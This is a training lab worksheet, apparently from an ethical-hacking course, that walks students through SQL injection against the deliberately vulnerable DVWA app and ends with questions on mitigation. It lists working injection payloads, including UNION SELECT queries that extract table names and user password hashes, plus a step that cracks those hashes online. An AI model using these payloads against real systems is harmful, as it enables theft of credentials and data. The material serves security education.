Objectives: In this lab, you will exploit a web application’s vulnerability using SQL injection and research methods for SQL injection mitigation.
Background / Scenario: SQL injection is a widespread attack used to exploit vulnerabilities in SQL database-driven web applications. Attackers use this technique to manipulate databases by injecting malicious SQL code into input fields, aiming to access sensitive information or alter data.
Required Resources:
- Kali VM customized for the Ethical Hacker course
- Internet access
Instructions:
- Open your browser and navigate to the DVWA at
http://10.6.6.13. - Log in with the credentials:
admin/password. - Set DVWA to Low Security:
- Click DVWA Security in the left pane.
- Change the security level to Low and click Submit.
- Click SQL Injection in the left pane.
- In the User ID field, type
' OR 1=1 #and click Submit. - Observe the output and determine if the vulnerability exists.
- In the User ID field, type
1' ORDER BY 1 #and click Submit. - In the User ID field, type
1' ORDER BY 2 #and click Submit. - In the User ID field, type
1' ORDER BY 3 #and observe the error message. What does this tell you about the number of fields?
- In the User ID field, type
1' OR 1=1 UNION SELECT 1, VERSION()#and click Submit. - What is the version of the database management system (DBMS)?
- In the User ID field, type
1' OR 1=1 UNION SELECT 1, DATABASE()#and click Submit. - What is the name of the database?
- In the User ID field, type:
1' OR 1=1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type='base table' AND table_schema='dvwa'# - What are the names of the tables found?
- In the User ID field, type:
1' OR 1=1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'# - What column names are returned?
- In the User ID field, type:
1' OR 1=1 UNION SELECT user, password FROM users # - Analyze the usernames and password hashes that are displayed.
- Open another tab in your browser and navigate to CrackStation.
- Copy and paste one of the password hashes into CrackStation and click Crack Hashes.
- What is the password of the admin account?
- What is the password of the pablo account?
- Search online for SQL injection mitigation techniques.
- Document your findings on how SQL injection attacks can be mitigated or prevented.
- What are three methods to mitigate SQL injection exploits?
- Why is input validation important in preventing SQL injection?
- How does using parameterized queries or prepared statements help protect against SQL injection?